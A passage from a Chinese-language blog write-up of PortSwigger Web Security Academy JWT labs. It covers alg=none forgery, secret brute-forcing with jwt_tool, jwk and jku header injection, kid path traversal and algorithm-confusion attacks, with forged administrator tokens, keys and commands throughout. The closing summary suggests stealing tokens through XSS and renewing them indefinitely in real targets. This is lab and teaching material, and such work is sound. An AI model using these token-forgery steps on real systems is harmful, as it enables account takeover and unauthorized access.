eyJraWQiOiI4OWRhN2Q0ZC1kNmFhLTRiZTQtYTI0Mi1kNWMzNTc3NDJiZjEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTI4MDd9.cVrs_sexQqE7ekeQGnRxsByuGzl7c10sIG2bCBcC7agmUohCycpXMr3iVVT-9MTNWQQzo2zzbgtdsIlkq4JXV7wpXyj21wfS9vgyJ95xb49loXZgPhttipHrfOpySV1z6OtlAbnTxXv0h21DQ6h52ErlzCg44N3xvupSkza02njlNSjctAHYBw4UCBl1mz7B2sfbhejNFLSrw_Q_9pvvnwHuyPRvkHdRLG7cW-hrIWDSopM1y_veqKKptiq6GE10Sv4ZrZanNBH0a1fIY3a91edf8YZOeULpI7fBt78WixW3Phgx3n6rDVyHL1fJt6QTvTshAa-VRKqSBLnASASNiA
这里还需要将我们的 Signature 删除掉,因为 Signature 是通过 alg 算法生成的,但要保留”分割点”,让其成为 JWT 的形式。最终得到token
eyJraWQiOiI4OWRhN2Q0ZC1kNmFhLTRiZTQtYTI0Mi1kNWMzNTc3NDJiZjEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTI4MDd9.
通过获得的toekn进行认证请求访问/my-account路径,发现是adminsitroator权限




3. 爆破密钥进行越权操作
使用帐户wiener,密码peter登录系统
https://0aa7009a03c95cddc0e2154e00080000.web-security-academy.net/login

然后点击my-account,抓包可获取JWT的token值
https://0aa7009a03c95cddc0e2154e00080000.web-security-academy.net/my-account

获得token:
eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NTAxOH0._K4yFGJl-AsmrCGwNYkIQG2l0BMu08_YUxQgHfJmb9g

 
爆破需要字典,这里是我在本道靶场中使用的 字典
使用jwt_tool.py对密钥进行爆破
 python3 jwt_tool.py   eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NTAxOH0._K4yFGJl-AsmrCGwNYkIQG2l0BMu08_YUxQgHfJmb9g         -C -d    /usr/share/wordlists/jwt.secrets.list.txt 
得到密钥key为:secret1

通过在线jwt.io网站修改sub属性为administrator,以及输入密钥key:secret1,可生成新的token
生成的新的token:
eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTUwMTh9.QRPgEv1IgyPkTx7ilN5eVcmx-6khAVNN48BTHG95PZg





4.  jwk 标头注入绕过 JWT 身份验证
使用帐户wiener,密码peter登录系统
https://0a250038039978edc09b896e006c0069.web-security-academy.net/login
然后点击my-account,抓包可获取JWT的token值
https://0a250038039978edc09b896e006c0069.web-security-academy.net/my-account

获得token:
eyJraWQiOiI1NzAxMjZhYi1jMjIwLTRjNGItOGUyOS1jM2Q2ZTRhMWNlNGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NzE5OX0.V_tgib9FFM63f7nGyTH-aJc2xunIk0pLm7TFOiyRAskrCbnAt9p5XUVl2pYOGwQOhWhWBroiKsFIZCmm4QXbw2oq7WpIVrZJhz5T9r4w_35WhTQA43O3YteyglqUY451WpfvqVqD1XzoP4WXeeeyrvNTSipBI6xObwJZxj6wT_KOjeLJHcKkXvHX61Dp2hzxwYcxohqzotjRY1G5vC3xbd2owXi2J58RVR1UpYu94Yk5IFHqspsK8Ol2ryaBAtiq16qPeEBnPqMWk3_kCqsexnLUjZFj0yR2ouqlyErLwlJs9S6qLF_A0sfrKowFmX3X38Ma_24D1yf9Re4o1DBrmw

通过jwk editor keys插件,插件中的 New RSA Key,生成 2048 长度的 JWK 私钥

选中 JSON Web Token 的界面。将 sub 的值从 “wiener” 修改为 “administrator”
在JSON Web Token选项卡的底部,单击Attack,然后选择Embedded JWK。出现提示时,选择您新生成的 RSA 密钥并单击OK。
在 JWT 的标头中,发现jwk添加了一个包含公钥的参数
最终在serialized jwt中生成新的token:
eyJraWQiOiIyMDA1MjNjMy02ODAzLTQyMWUtYjZhNC1mYWYzOWMxODZmMjQiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjIwMDUyM2MzLTY4MDMtNDIxZS1iNmE0LWZhZjM5YzE4NmYyNCIsIm4iOiJqRmlsUTk2cHJuOExFSW1YRWR4Rm1QMV9VVjRyeTZsMUtfUEJLekk3SGxQcml1RWhIb25LNHd5RjJsNWRFcHB5NHZRUXJQMEU3UUhCczluZlc5dEVyTlNwQzNSV2oxS2ZqTGJhT3hlTTR5cG1iZjYxS2g1c1JETVZJdWI5YWIyQ0pueHkyS3lUOW84aFF3dWVvcllrWWlhbUtPNkZ3ODg2ZnFUMDk2Ymp1cXFfRXhMRXh6ZWhFelZmdF9WemJ5cmJFMlVmdUtGNjkya3JBX3FUTDlyUlFJcEZKQm05TDRCSDFUSk14N2Y1ZFBMWGpYZVRNSjhwZGJURTBYYUtvSl80OEQ1RV93aVE4bjlwU2Z2cEVDWkRkNGY5QlN3d1JpRWF4cFd3ZDMtNEVibkRZdlRsOGhpOUpycElZUlk3UUI2WENYbzNUamJTNG9SaXJOM2pmeEhFZFEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTcxOTl9.KXZ6QKKYqmYw7nr5eJavrYU6GyKIVZhpeznp_9xWJIjbKB-UsVoFpuzqW7r4LlgNkGMbQwqr10pulVcbfzYyQoO4J4sboULidtQUs7BRNKphBAkFPOeZA4-X9ouJpzBqb7HYm1ZB5QMHMcg8v8BI1vM6NvWbCsvJNkiI7q6ap0KCD46ZQOaja5pU4pJMeSFEuQJmNaO790IXDwyZs4iac758tQGuomg4yDQWQkYKk94c5HQnqvPsUvRMDYi1FKUDJceEHuQE2JULsAo0jnyhwaXzivJ531ggIshh0LT2jeFuX0BWfPiyXum2dJOvyFq8MK6rP4AGxnzO0Vv1ksu_Tg
通过该token可进行越权认证请求





5. jku 标头注入绕过 JWT 身份验证
使用帐户wiener,密码peter登录系统
https://0a65004103302ecbc16d2769008b0041.web-security-academy.net/login

然后点击my-account,抓包可获取JWT的token值
https://0a65004103302ecbc16d2769008b0041.web-security-academy.net/my-account

获得token:
eyJraWQiOiIzN2I1MzQ4MC1jYjk4LTQ3YzktOWQ5ZC0zNmZmYzZiNzVkYzIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1OTAxMH0.EkSolvjsoG0cL6GHUvI1hRfFq-tZLy3OOsjs-zHBlCzbj-0XE343j7g1PoyfpTXFb4N8euAbHgd7wa4A3dRHIHQC9eSjjSxA57DdMCri8VH8hRh-aYSMU5ZEJa1s6Ni5pdERJikXgzaH1TwrLg_mwcpD-d4w5ZHTunB7mVGAK1g1LOx3qzYPbP8297h29Yi0fqxSkVhNqVCiSC-638qYbRIaxDVelJL08Q0LAQODd7ltJJXDbdg-R3VA3PAktdHgVAA1AJtpecv7FBYY-1NiQVJpldMXQaMrkzQbW2S5m52KxuSb26qVwebCSOOKoxxi1Im4lTPXtV1A4rR8dMcdtw
通过jwk editor keys插件,插件中的 New RSA Key,在对话框中,单击Generate自动生成新的密钥对,然后单击OK保存密钥
在靶场主页中点击go to exploit sever,跳转到一个临时的上传的文件服务器
将Body部分 的内容替换为空的 JWK Set,如下所示:
返回JWT Editor Keys选项卡,右键单击刚刚生成的密钥,然后选择Copy Public Key as JWK
将 JWK 粘贴到Body的文本
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "86619e54-73bf-4b4b-bb35-a0cedd2db090",
            "n": "ohLNg1DBUNjdKWRPvgGILefX8kVPhsWGJVhGTevYMtkxdC2YSPtDPgvhTAUTjoS-PWThU_707226xNI_-KJlylV2zCQHqocheWA8wsTCBhuzDJrnl3euZ5z_BF2xOQmIvdd0Cmv5kUBmM0um8v6nDTCFU4MMI_AoCdlGQaUfpqJmuyyeUOetgd-V74XVmwE_-L6r4Gyuy_7wKwRAYkasyRFsHc5op4JbpaoHCyp1_wN00-_gQqn7AnteoFhZRz1iV2ArVnffRCp37MoMFNBKxCFdPrU70_W7APMiQXOeulmOKz_2txDvPYwQqxMfhDZHqC_u1JoTO4PKu_aZWmxh_Q"
        }
    ]
}

然后点击store进行上传





在 JWT 的标头中,将kid参数的值替换为上传的jwks.json中的kid的值
jku参数添加到 JWT 的标头中。其值设置为上传的jwks.json的url地址
{
"kid": "86619e54-73bf-4b4b-bb35-a0cedd2db090",
"alg": "RS256",
"jku":"https://exploit-0a1600b903452ed0c167274e01aa0014.web-security-academy.net/exp/jwks.json"
}
在有payload中,将sub声明的值更改为administrator
在选项卡的底部,单击Sign,然后选择您在上一部分中生成的 RSA 密钥
最终生成新的 token:
eyJraWQiOiI4NjYxOWU1NC03M2JmLTRiNGItYmIzNS1hMGNlZGQyZGIwOTAiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYTE2MDBiOTAzNDUyZWQwYzE2NzI3NGUwMWFhMDAxNC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQvZXhwL2p3a3MuanNvbiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTkwMTB9.d_i9zkv_mVh_EO8NyyUY9eOcLff1lKZzcvr1RRXL0AOX1x74HQIgvoqlqYdbjyvMyCg3Z_q8CeQVemoyyX7RJl0GL3LJAbOLASIwLtV_PaTBfPRPq1XGgcRetBjSteAyPI4X7Z5stUh7JT11bwzLGN2V5aAcfonmmNpqKJqvRbAw61IwAg-1DA6-oRjMGbU0ClOdkP4T9nm1RgbNvBTkO9hyDDS3kC7-zk380qzAvJT5NAEt9ytsARsLJwp_0w6b4llHFsxeFbpi1xdydgSRQbVQUJWH310M5K7VReXRvp0LxYTIHvXzOGTDhVVRQsS2oDGgJuBHBieN9RHVPYI-Rg

6. kid的目录遍历绕过 JWT 身份验证
使用帐户wiener,密码peter登录系统
然后点击my-account,抓包可获取JWT的token值
获得的token:
eyJraWQiOiI0NWYzNGJjOC0yZTcwLTQ1YWItYWJkYy1mZDgyYzIwNTYyZjkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk2MTQzMn0.3HMbF2C3BtgHGNOfjqKl7iXgldSv7ROec6NQHF_rrGc
通过JWT Editor Keys选项卡。单击新建Symmetric Key,也就是对称密钥,并将生成的k属性值替换为 Base64 编码的空字节 ( AA==),如图
在JWT的header中,将kid参数的值改为指向文件的路径遍历/dev/null,并在 JWT 有效负载中,将sub声明的值更改为administrator
../../../../../../../dev/null
在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥

eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NjE0MzJ9.yzxZrgITZhJTTVxeKTgF9qut5WH3d5OYGMdbZZN1T5E
7.jwks.json 泄露的算法混淆攻击
通过目录扫描工具发现jwks.json文件泄露

1.使用 Burp 中的JWT 编辑器扩展将 JWK 转换为 PEM ,如下所示:
keys数组内部复制 JWK 对象,删除"keys": [{和 }],最终复制的数据格式:
{"kty":"RSA","e":"AQAB","use":"sig","kid":"0f61c581-485b-4a0a-acbf-0989cbe7e160","alg":"RS256","n":"wdY5WU21kdt9TXvTiprwgO9aVYodHpfw2NR7FzcIXpQMqeuE6OoTy0DFrDRl8SfZfoHSaIDOFUAdyAdoWro1xSX2fBAZqBUQNDWCh9agcE0kI0-cAn_lMfPJ9da0xspJNNca35DShWNuTVo8B1rCmO9CDz3frml51CW1J3qSqPzQRnWvcFnWFGWIDEwllBTDH9XY1sPCSDmC-uPkeV78c2JHqqGAiIXAQ9DQuT2ra8Eo7_44EO15HT5WlCoWKQ8jPX8HH40DvlwtOTTk0b6pGA3dPQJNoOzYEOwyY1ze-4pNalFCKfb8CItJxvMXCaT9ZZNXqsSU3mAkPBEeLd9I0Q"}

然后在生成的私钥中,选中 “Copy Public Key as PEM”,将其进行 base64 编码操作,保存一下得到的字符串。
得到的公钥文件内容:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3YA/YqYOtRCieMwn6GW3
d048yNS1Nk4aaNILCxhykyhVoBVseAFH8E4Aaiwp3NNjgbUZP8G9i8UQa+vtqg6k
CySEbziVbfvdoLU7C/nYPFXv7w3F2W37UBXcEtIg8Pmn9V3NigKHktTSTmgK/dGU
sjf6pEryAHKhCKA4Zv4VCNecz4nnw/EYL3tmlyMt+Re95k/Cz/VHQ9prPrXZAvZC
BmxbViUxkYq5B+CaH9zD4feH0LjcFkpDqn5pGth/sHqt08qrTHQocHFovk/8NSSe
nbFjfBbxeksKO7qq1oPuacI0yxtMEd1SVL5SlB/8PEFd74Unxq5T9W3q+/0dFgXd
SwIDAQAB
-----END PUBLIC KEY-----
对生成的公钥文件内容进行base64编码:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzWUEvWXFZT3RSQ2llTXduNkdXMwpkMDQ4eU5TMU5rNGFhTklMQ3hoeWt5aFZvQlZzZUFGSDhFNEFhaXdwM05OamdiVVpQOEc5aThVUWErdnRxZzZrCkN5U0ViemlWYmZ2ZG9MVTdDL25ZUEZYdjd3M0YyVzM3VUJYY0V0SWc4UG1uOVYzTmlnS0hrdFRTVG1nSy9kR1UKc2pmNnBFcnlBSEtoQ0tBNFp2NFZDTmVjejRubncvRVlMM3RtbHlNdCtSZTk1ay9Dei9WSFE5cHJQclhaQXZaQwpCbXhiVmlVeGtZcTVCK0NhSDl6RDRmZUgwTGpjRmtwRHFuNXBHdGgvc0hxdDA4cXJUSFFvY0hGb3ZrLzhOU1NlCm5iRmpmQmJ4ZWtzS083cXExb1B1YWNJMHl4dE1FZDFTVkw1U2xCLzhQRUZkNzRVbnhxNVQ5VzNxKy8wZEZnWGQKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

在 JWT Editor Keys 处,生成新的对称加密 Key

用之前保存的生成的公钥文件的 base64 编码值去替换 k 的值
{
"kty": "oct",
"kid": "4ba4ff0a-505d-4bee-a919-e5a6749a156b",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzWUEvWXFZT3RSQ2llTXduNkdXMwpkMDQ4eU5TMU5rNGFhTklMQ3hoeWt5aFZvQlZzZUFGSDhFNEFhaXdwM05OamdiVVpQOEc5aThVUWErdnRxZzZrCkN5U0ViemlWYmZ2ZG9MVTdDL25ZUEZYdjd3M0YyVzM3VUJYY0V0SWc4UG1uOVYzTmlnS0hrdFRTVG1nSy9kR1UKc2pmNnBFcnlBSEtoQ0tBNFp2NFZDTmVjejRubncvRVlMM3RtbHlNdCtSZTk1ay9Dei9WSFE5cHJQclhaQXZaQwpCbXhiVmlVeGtZcTVCK0NhSDl6RDRmZUgwTGpjRmtwRHFuNXBHdGgvc0hxdDA4cXJUSFFvY0hGb3ZrLzhOU1NlCm5iRmpmQmJ4ZWtzS083cXExb1B1YWNJMHl4dE1FZDFTVkw1U2xCLzhQRUZkNzRVbnhxNVQ5VzNxKy8wZEZnWGQKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

eyJraWQiOiIwZjYxYzU4MS00ODViLTRhMGEtYWNiZi0wOTg5Y2JlN2UxNjAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk2NTMyMX0.tfjdYJ3a3CXxFbhlftp0CathmoQHhwakQHbJahppcYbp5mn2fjcomN7Zn8Ay-E5PkBn5TM-7XaPI4smcJq40EqSDQzX1-M-R96JPZSMLbEDhZaTvpc8iQ6wCTtO5JidxV0xD6CY2tMavJPLncChMTdNa-SPO2923Tx0oQSXhTqh6w8TtdQq518lgmo9uBzCq3vV2ajEgmd4Ex4AhiPy9_kGV4o0015shktxKxbtANosFzwuFssEdQ8ppvBHq3NwXbLG-hr_ScU55G0YHpJvQf2jEYxVK3Pnl69fZ6G1Y-PsjrQY-fwBVVchhewHNj4ebN2JuduFnqcgYXZtYMwL-Yw

2.修改 alg 为 HS256,修改 sub 为 administrator。
在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥,最后发包即可
eyJraWQiOiIwZjYxYzU4MS00ODViLTRhMGEtYWNiZi0wOTg5Y2JlN2UxNjAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NjUzMjF9.NCC2bCRd6_6659YHNykAVYaGWtwElwCoJPaDuSWp4rc




8.没有泄露密钥的算法混淆攻击
https://portswigger.net/users?returnurl=%2facademy%2flabs%2flaunch%2fe63829c5fb147e8e34a3e9a001773db6312f2a223a1062fd226f44290457da78%3freferrer%3d%252fweb-security%252fjwt%252falgorithm-confusion%252flab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
如果系统中没有泄露的JWKS文件,可以使用以下脚本获得JWT对应的公钥pem文件:
https://github.com/silentsignal/rsa_sign2n/tree/release/standalone 
$ docker build . -t sig2n
$ docker run -it sig2n /bin/bash
container$ python3 jwt_forgery.py <token1> <token2>
参数:token1:第一次登录系统获得的jwt值   ,token2:退出第一次系统,然后重新登录后获得的jwt值
1.获取服务器生成的两个JWT
token1:
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjE5MH0.fK2aM0qWfDd5rfboFGszcXdxuwOJoVuUBhTsyJ8Jq1sQ5g4iyW1qgDEOnthqGgS3sMKr_pxoiaS45UvjNkBtY5ntGtiLAiZFui0jtW7vAb2hiU-46MTxfnKfujH21RWeNsM70NYZm4xtoRdNQbDQ3ANJELiSGNNMOElwBzwlVoXkYa3ULEZzUwpjiX-GRtWAmZZ-71kDTGBjB1Tc_3DeErSUXqPfu1JEKS6wa8eYoUCFaZ2JAAcDAdaczUXqQbK2MhDmna_-xuOr0fBnwj315yry0wkAUAJX3YuhWIqhAl0b6yfONT235g0lmDV5HnJaiTLoFrx9rQApCMgB4Y8Lwg  
token2:
     eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjMzNX0.KAIQvv6eEs4ECIkdOLo-20tLTRIybQ1Xe900L59aR5AZppMQMY6EmL9exXxYBCbrN4qBD_MxXQKizyUG5Y9E0OkgHRf2MR8vmw7ZTyIS31WSplw-rMlQhXClcQXbjrxQBaUUN2RrA84Rk2LEw4fTJkdj7KTsQksF9-wBEoGakIN8ifVHkHyKmPpbAfF-xDgycuPRP609dlM9T_N7ImJffKD2i4MpnQTg3QesQxUwDsKuOvyTxhK4ss1DbGol0S7L1lVSwl0gUJY0zlBk3WHpgPGFJDgqF2uV1gAn_TXaIuaoHmAfJfwUAumyNdqWjp4rc7nebeAL6EQdmRfi1oTk-w
2.暴力破解服务器的公钥,执行脚本获得JWT以及对应的公钥pem文件
python3 jwt_forgery.py  eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjE5MH0.fK2aM0qWfDd5rfboFGszcXdxuwOJoVuUBhTsyJ8Jq1sQ5g4iyW1qgDEOnthqGgS3sMKr_pxoiaS45UvjNkBtY5ntGtiLAiZFui0jtW7vAb2hiU-46MTxfnKfujH21RWeNsM70NYZm4xtoRdNQbDQ3ANJELiSGNNMOElwBzwlVoXkYa3ULEZzUwpjiX-GRtWAmZZ-71kDTGBjB1Tc_3DeErSUXqPfu1JEKS6wa8eYoUCFaZ2JAAcDAdaczUXqQbK2MhDmna_-xuOr0fBnwj315yry0wkAUAJX3YuhWIqhAl0b6yfONT235g0lmDV5HnJaiTLoFrx9rQApCMgB4Y8Lwg       eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjMzNX0.KAIQvv6eEs4ECIkdOLo-20tLTRIybQ1Xe900L59aR5AZppMQMY6EmL9exXxYBCbrN4qBD_MxXQKizyUG5Y9E0OkgHRf2MR8vmw7ZTyIS31WSplw-rMlQhXClcQXbjrxQBaUUN2RrA84Rk2LEw4fTJkdj7KTsQksF9-wBEoGakIN8ifVHkHyKmPpbAfF-xDgycuPRP609dlM9T_N7ImJffKD2i4MpnQTg3QesQxUwDsKuOvyTxhK4ss1DbGol0S7L1lVSwl0gUJY0zlBk3WHpgPGFJDgqF2uV1gAn_TXaIuaoHmAfJfwUAumyNdqWjp4rc7nebeAL6EQdmRfi1oTk-w
然后按照先后顺序尝试测试每一个 Tempered JWT的个值
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.fadlkuPOcCYPyoSeXdyg-akP6qmhoFM72QKEh_5nNSI
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.9FcEVleIRXeXIEVAOH55K5ZZJ6jzUgUki81otH2btK0
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.NAfeNbHguilK-z7HP0x842ZD6VD8MFCo0AvKu8rZAuI
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.i6sky541Y8BU1FR77TXyts794IT3YwPO0sIwpx4QDRc
当 Response 回应 200 时,代表 token 是有效的,若为 302 则代表了token无效
那么当前有效的token为:
eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.NAfeNbHguilK-z7HP0x842ZD6VD8MFCo0AvKu8rZAuI
而当前有效的token又对应响应的公钥pem文件
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuBz1PHes20d8pwLbsQs2
5LVh1DETlehgsnv2rJlF7ZagQsnpVI4gycX/C+HwKvonYRNzF3Igdhbcr/qInI+5
Gboxbvn3XgGvv2MyFTShpoWZwTCskNga16Gp5GYiUtiIVXnCWqR5cN8knTp+TQhQ
HanZW5hQ2NJdAfLKiYmzcyDHR2lA8AL1roFNxWm0rtiKbUdG22DD4SHGYKXmxUE4
V42/30GjgDDX+WgTnew7FjosO9bFnSSt+baYM8p47otzylc08Cqkl1KHBB0enXTX
+Cf4tXogGTTa56OFZvUwLPgpJOtLDOBg26AaHgCnPZJ+ivEB+nUNI64bqY7gxV+s
lQIDAQAB
-----END PUBLIC KEY-----
将生成的公钥文件内容转换成base64:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1QnoxUEhlczIwZDhwd0xic1FzMgo1TFZoMURFVGxlaGdzbnYyckpsRjdaYWdRc25wVkk0Z3ljWC9DK0h3S3ZvbllSTnpGM0lnZGhiY3IvcUluSSs1Ckdib3hidm4zWGdHdnYyTXlGVFNocG9XWndUQ3NrTmdhMTZHcDVHWWlVdGlJVlhuQ1dxUjVjTjhrblRwK1RRaFEKSGFuWlc1aFEyTkpkQWZMS2lZbXpjeURIUjJsQThBTDFyb0ZOeFdtMHJ0aUtiVWRHMjJERDRTSEdZS1hteFVFNApWNDIvMzBHamdERFgrV2dUbmV3N0Zqb3NPOWJGblNTdCtiYVlNOHA0N290enlsYzA4Q3FrbDFLSEJCMGVuWFRYCitDZjR0WG9nR1RUYTU2T0ZadlV3TFBncEpPdExET0JnMjZBYUhnQ25QWkoraXZFQituVU5JNjRicVk3Z3hWK3MKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t
3.生成恶意签名密钥
在 Burp 中,转到JWT Editor Keys选项卡,然后单击New Symmetric Key
将生成的k值替换为刚刚已生成的公钥文件转换成base64内容的值
{
"kty": "oct",
"kid": "ce2efa0f-50e5-40b9-89dd-548af4d039ef",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF1QnoxUEhlczIwZDhwd0xic1FzMgo1TFZoMURFVGxlaGdzbnYyckpsRjdaYWdRc25wVkk0Z3ljWC9DK0h3S3ZvbllSTnpGM0lnZGhiY3IvcUluSSs1Ckdib3hidm4zWGdHdnYyTXlGVFNocG9XWndUQ3NrTmdhMTZHcDVHWWlVdGlJVlhuQ1dxUjVjTjhrblRwK1RRaFEKSGFuWlc1aFEyTkpkQWZMS2lZbXpjeURIUjJsQThBTDFyb0ZOeFdtMHJ0aUtiVWRHMjJERDRTSEdZS1hteFVFNApWNDIvMzBHamdERFgrV2dUbmV3N0Zqb3NPOWJGblNTdCtiYVlNOHA0N290enlsYzA4Q3FrbDFLSEJCMGVuWFRYCitDZjR0WG9nR1RUYTU2T0ZadlV3TFBncEpPdExET0JnMjZBYUhnQ25QWkoraXZFQituVU5JNjRicVk3Z3hWK3MKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
}


在 JWT 的标头中,确保alg参数设置为HS256,sub声明的值更改为administrator
在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥





0x08  总结

    通过对众多实际案例漏洞测试,其中弱密钥、密钥泄露、不校验签名、信息泄露这些问题出现的居多,像更改 Header 不使用签名,暂时在实际生成环境中没遇到过。测试方面遇到 JWT 根据 jwt-tools 工具和其 WIKI 测试方法,将所有已知漏洞都试一遍,避免遗漏。另一个实际利用点可以尝试 XSS 打 Token。实际场景中通常将 Token 放入 Local Storage 存储,下次请求时取出放入 HTTP Header 传输,那么此时可以配合 XSS 读取 Token 来截取账户。因为 Token 是有时效,部分应用可以通过现有存活 Token 去颁发新的 Token 以此延长使用有效期,通过这点可以让 Token 永久生效。






posted @ 2022-09-16 12:38  渗透测试中心  阅读(13248)  评论(0编辑  收藏  举报